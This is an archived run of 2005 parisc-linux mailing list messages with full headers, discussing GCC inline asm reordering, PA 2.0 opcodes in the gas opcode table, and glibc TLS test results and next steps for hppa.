> force gcc to spill all the fpregs and restore after the call.

Hmmm, this seems tricky:

  For example, on many targets there is a system
  register which can be set to control the rounding mode of
  floating point operations.  You might try
  setting it with a volatile @code{asm}, like this PowerPC example:

  @smallexample
	asm volatile("mtfsf 255,%0" : : "f" (fpenv));
	sum = x + y;
  @end smallexample

  @noindent
  This will not work reliably, as the compiler may move the addition back
  before the volatile @code{asm}.  To make it work you need to add an
  artificial dependency to the @code{asm} referencing a variable in the code
  you don't want moved, for example:

  @smallexample
	asm volatile ("mtfsf 255,%1" : "=X"(sum): "f"(fpenv));
	sum = x + y;
  @end smallexample

  ...

  For reasons similar to those described above, it is not possible to give
  an assembler instruction access to the condition code left by previous
  instructions.

If you clobber memory in the asm, then I think it will be a barrier
for memory accesses.  I think a function call is ok:

  a = b + c;
  z = xyzzy ();

I don't think gcc can reorder the two operations unless it can prove
the function is pure and doesn't write all memory.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Missing opcodes in PA 2.0
Date: Sat, 16 Jul 2005 19:50:06 -0400 (EDT)
Lines: 53
Approved: news@gmane.org
Message-ID: <200507162350.j6GNo79q012011@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623853 15685 80.91.229.3 (22 Nov 2014 02:37:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2005 23:50:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 17 Jul 2005 01:50:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA3677D733;
	Sat, 16 Jul 2005 17:50:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27013-02; Sat, 16 Jul 2005 17:50:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F2A47D734;
	Sat, 16 Jul 2005 17:50:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 095E97D732
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 17:50:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26738-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 17:50:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 69D2A7D731
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 17:50:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6GNo7nV012012 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Jul 2005 19:50:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6GNo79q012011
	for parisc-linux@lists.parisc-linux.org;
	Sat, 16 Jul 2005 19:50:07 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: b/irYkNseSEker6WZHQhaXN1IGRvb4AV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22934

I've been reviewing the opcode table for gas an noticed that the
following opcodes appear to have disappeared from PA 2.0:

{ "idtlba",     0x04001040, 0xfc00ffff, "x,(b)", pa10, 0},
{ "idtlba",     0x04001040, 0xfc003fff, "x,(s,b)", pa10, 0},
{ "iitlba",     0x04000040, 0xfc001fff, "x,(S,b)", pa10, 0},
{ "idtlbp",     0x04001000, 0xfc00ffff, "x,(b)", pa10, 0},
{ "idtlbp",     0x04001000, 0xfc003fff, "x,(s,b)", pa10, 0},
{ "iitlbp",     0x04000000, 0xfc001fff, "x,(S,b)", pa10, 0},

I'm interested in knowing if PA 2.0 processors still support these
opcodes.

There are also some opcodes that may not ever have existed:

{ "lha",        0x04001300, 0xfc00ffc0, "cZx(b),t", pa10, 0},
{ "lha",        0x04001300, 0xfc003fc0, "cZx(s,b),t", pa10, 0},

{ "fstqx",      0x3c000200, 0xfc00dfc0, "cxft,x(b)", pa10, 0},
{ "fstqx",      0x3c000200, 0xfc001fc0, "cxft,x(s,b)", pa10, 0},

{ "fstqs",      0x3c001200, 0xfc00dfc0, "cmft,5(b)", pa10, 0},
{ "fstqs",      0x3c001200, 0xfc001fc0, "cmft,5(s,b)", pa10, 0},

I can't find documentation for the following:

/* These may be specific to certain versions of the PA.  Joel claimed
   they were 72000 (7200?) specific.  However, I'm almost certain the
  mtcpu/mfcpu were undocumented, but available in the older 700 machines.  */
{ "mtcpu",      0x14001600, 0xfc00ffff, "x,^", pa10, 0},
{ "mfcpu",      0x14001A00, 0xfc00ffff, "^,x", pa10, 0},
{ "tocen",      0x14403600, 0xffffffff, "", pa10, 0},
{ "tocdis",     0x14401620, 0xffffffff, "", pa10, 0},
{ "shdwgr",     0x14402600, 0xffffffff, "", pa10, 0},
{ "grshdw",     0x14400620, 0xffffffff, "", pa10, 0},

/* gfw and gfr are not in the HP PA 1.1 manual, but they are in either
   the Timex FPU or the Mustang ERS (not sure which) manual.  */
{ "gfw",        0x04001680, 0xfc00ffdf, "cZx(b)", pa11, 0},
{ "gfw",        0x04001680, 0xfc003fdf, "cZx(s,b)", pa11, 0},
{ "gfr",        0x04001a80, 0xfc00ffdf, "cZx(b)", pa11, 0},
{ "gfr",        0x04001a80, 0xfc003fdf, "cZx(s,b)", pa11, 0},

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing opcodes in PA 2.0
Date: Sun, 17 Jul 2005 10:31:25 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <1121610685.5034.1.camel@mulgrave>
References: <200507162350.j6GNo79q012011@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623853 15687 80.91.229.3 (22 Nov 2014 02:37:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:33 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2005 14:31:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 17 Jul 2005 16:31:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93B967D6FA;
	Sun, 17 Jul 2005 08:31:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00429-10; Sun, 17 Jul 2005 08:31:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECA177D6FC;
	Sun, 17 Jul 2005 08:31:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8560A7D6F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 08:31:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00379-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 08:31:35 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id D41837D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 08:31:34 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j6HEVQA16546; Sun, 17 Jul 2005 10:31:26 -0400
In-Reply-To: <200507162350.j6GNo79q012011@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.0.4 (2.0.4-4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hw6oYjU0eSEkWr6WZHQhaXN1IGRvb8Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22935

On Sat, 2005-07-16 at 19:50 -0400, John David Anglin wrote:
> I've been reviewing the opcode table for gas an noticed that the
> following opcodes appear to have disappeared from PA 2.0:
> 
> { "idtlba",     0x04001040, 0xfc00ffff, "x,(b)", pa10, 0},
> { "idtlba",     0x04001040, 0xfc003fff, "x,(s,b)", pa10, 0},
> { "iitlba",     0x04000040, 0xfc001fff, "x,(S,b)", pa10, 0},
> { "idtlbp",     0x04001000, 0xfc00ffff, "x,(b)", pa10, 0},
> { "idtlbp",     0x04001000, 0xfc003fff, "x,(s,b)", pa10, 0},
> { "iitlbp",     0x04000000, 0xfc001fff, "x,(S,b)", pa10, 0},
> 
> I'm interested in knowing if PA 2.0 processors still support these
> opcodes.

These I know ... the answer's no ... that's why we have pa1.1 and pa2.2
specific paths in the tlb miss handler.

The rest I've no idea

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TLS toolchain update (6 regressions left)
Date: Sun, 17 Jul 2005 12:21:06 -0400
Lines: 153
Approved: news@gmane.org
Message-ID: <20050717162105.GL5314@systemhalted.org>
References: <20050715142609.GR5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623854 15690 80.91.229.3 (22 Nov 2014 02:37:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:34 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
 Randolph Chung <tausq@debian.org>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2005 16:21:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 17 Jul 2005 18:21:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B85BE7D708;
	Sun, 17 Jul 2005 10:21:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01148-04; Sun, 17 Jul 2005 10:21:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E7DB7D705;
	Sun, 17 Jul 2005 10:21:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0603E7D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 10:21:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00669-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 10:21:11 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 4F6987D6FC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 10:21:11 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DuBt5-0006Ah-00; Sun, 17 Jul 2005 12:21:07 -0400
Content-Disposition: inline
In-Reply-To: <20050715142609.GR5314@systemhalted.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KOCoYsRxeSEkfb6WZHQhaXN1IGRvb4DS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22936

On Fri, Jul 15, 2005 at 10:26:10AM -0400, Carlos O'Donell wrote:
> Please stand up and pat yourself on the back:
> 
> make[2]: *** [/glibc/math/test-fenv.out] Error 1
> 	= Regression (1)
> make[2]: *** [/glibc/math/test-float.out] Error 1
> make[2]: *** [/glibc/math/test-double.out] Error 1
> make[2]: *** [/glibc/math/test-ifloat.out] Error 1
> make[2]: *** [/glibc/math/test-idouble.out] Error 1
> make[1]: *** [math/tests] Error 2
> make[2]: *** [/glibc/stdlib/tst-strtod.out] Error 1
> make[2]: *** [/glibc/stdlib/bug-strtod.out] Error 1
> make[1]: *** [stdlib/tests] Error 2
> make[2]: [/glibc/posix/annexc.out] Error 1 (ignored)
> make[2]: *** [/glibc/elf/tst-array1.out] Error 1
> make[2]: *** [/glibc/elf/tst-array2.out] Error 1
> make[2]: *** [/glibc/elf/tst-array3.out] Error 1
> make[2]: *** [/glibc/elf/tst-array4.out] Error 1
> make[2]: *** [/glibc/elf/tst-array1-static.out] Error 1
> 	= Regressions (5)
> make[2]: *** [/glibc/elf/tst-tls13.out] Error 1
> 	= TIMEOUTFACTOR=10 required.
> make[1]: *** [elf/tests] Error 2
> make: *** [check] Error 2

Patched up the floating point asm constraints.

make[2]: *** [/glibc/math/test-float.out] Error 1
make[2]: *** [/glibc/math/test-double.out] Error 1
make[2]: *** [/glibc/math/test-ifloat.out] Error 1
make[2]: *** [/glibc/math/test-idouble.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/glibc/stdlib/tst-strtod.out] Error 1
make[2]: *** [/glibc/stdlib/bug-strtod.out] Error 1
make[1]: *** [stdlib/tests] Error 2
make[2]: [/glibc/posix/annexc.out] Error 1 (ignored)
make: *** [check] Error 2

No regressions. But we still have a couple of functions that look like
the math is a bit wrong. However, we are doing better than non-tls, I
figure because the constraints are still a bit wrong.


----- GCC 4.0 (glibc + fp constriant fix + tls) -----
==> test-double.out <==

Test suite completed:
  2624 test cases plus 2399 tests for exception flags executed.
  24 errors occurred.

==> test-float.out <==

Test suite completed:
  2599 test cases plus 2384 tests for exception flags executed.
  23 errors occurred.

==> test-idouble.out <==

Test suite completed:
  2562 test cases plus 2337 tests for exception flags executed.
  10 errors occurred.

==> test-ifloat.out <==

Test suite completed:
  2537 test cases plus 2322 tests for exception flags executed.
  11 errors occurred.

----- GCC 3.3.5 (glibc) -----

==> test-double.out <==

Test suite completed:
  2624 test cases plus 2399 tests for exception flags executed.
  38 errors occurred.

==> test-float.out <==

Test suite completed:
  2599 test cases plus 2384 tests for exception flags executed.
  39 errors occurred.

==> test-idouble.out <==

Test suite completed:
  2562 test cases plus 2337 tests for exception flags executed.
  1 errors occurred.

==> test-ifloat.out <==

Test suite completed:
  2537 test cases plus 2322 tests for exception flags executed.
  1 errors occurred.

We are on par with the previous test results. I'm very pleased.
-----

Looking at the test failures in test-float, I see the following:

testing float (without inline functions)
Failure: Test: atan2 (-0.00756827042671106339, -.001792735857538728036)
== -1.80338464113663849327153994379639112
Result:
 is:         -1.80338394641876220703e+00  -0x1.cdaa9200000000000000p+0
 should be:  -1.80338466167449951172e+00  -0x1.cdaa9e00000000000000p+0
 difference:  7.15255737304687500000e-07   0x1.80000000000000000000p-21
 ulp       :  6.0000  
 max.ulp   :  0.0000  

I can't seem to fix this test, but I figure it's because I haven't
played enough with ulps settings that flag the test as failed.
The error is in the e-06 rang which really sucks. Any thoughts?

Next is a set of failures all related to "rint" for rounding an integer
to the correct value. The failures are very werid.

Failure: Test: rint (1.5) == 1.0
Result:
 is:          2.00000000000000000000e+00   0x1.00000000000000000000p+1
 should be:   1.00000000000000000000e+00   0x1.00000000000000000000p+0
 difference:  1.00000000000000000000e+00   0x1.00000000000000000000p+0
 ulp       :  8388608.0000
 max.ulp   :  0.0000  

That ulp is bogus? Not to mention that the rounding direction is wrong.

Lastly is:

Failure: Real part of: cacos (inf + NaN i) == NaN + inf i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (-inf + NaN i) == NaN + inf i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + inf i) == NaN - inf i: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN - inf i) == NaN + inf i: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + NaN i) == NaN + NaN i: Exception "Invalid operation" set
Failure: Real part of: ccosh (inf + NaN i) == inf + NaN i: Exception "Invalid operation" set
Failure: Real part of: ccosh (-inf + NaN i) == inf + NaN i: Exception "Invalid operation" set
Failure: Real part of: cpow (NaN + NaN i, NaN + NaN i) == NaN + NaN i: Exception "Invalid operation" set
Failure: Real part of: csinh (0.0 + NaN i) == 0.0 + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-0 + NaN i) == 0.0 + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (inf + NaN i) == inf + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-inf + NaN i) == inf + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set

Which all looks like corner case tets for these functions and the processor
is raising an exception. I've never had a chance or desire to look at these
but I will when I have nothing better to do ;)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Next steps? hppa tls toolchain and packaging in
	debian.
Date: Sun, 17 Jul 2005 12:31:40 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20050717163140.GM5314@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623854 15692 80.91.229.3 (22 Nov 2014 02:37:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>,
 John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2005 16:31:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 17 Jul 2005 18:31:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02DC57D716;
	Sun, 17 Jul 2005 10:31:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01168-09; Sun, 17 Jul 2005 10:31:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4305C7D70A;
	Sun, 17 Jul 2005 10:31:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DC477D705
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 10:31:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01148-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 10:31:42 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 8EBD17D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 17 Jul 2005 10:31:42 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DuC3I-0006Cm-00; Sun, 17 Jul 2005 12:31:40 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (26% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oeKoYl09eSEkXr6WZHQhaXN1IGRvbwCI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22937


Gentlemen,

We seem to have a working TLS implementation for hppa. What are some of
the next steps we want to take?

a. Submit a plabel 21/14, dir 21/14 patch to debian glibc.
   Submit the same patch to Ubuntu.

b. Submit TLS patch to binutils.

c. Submit OPD patch to binutils.
   - There may still be some issues about this patch with regards
     to the behvious of --export-dynamic.

d. Submit patches to upstream glibc for TLS
   - Linuxthread patches are being handled by drow.
   - Sysdep patches are handled by Roland/Ulrich.
   - Luckily no core changes required.

e. Work at futex implementation.
   - Mockup and test.

f. Work at NPTL implementation
   - Already started thanks to Randolph.

Any extra entries to add to the list?

How do we handle this:

1. Packages built with a newer toolchain can emit OPD's
2. These packages should require a newer glibc.

Can we make debian-binutils depend on a newer libc?
I still don't see how we can stop someone from isntalling a package that
has these relocs but not a new libc?

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
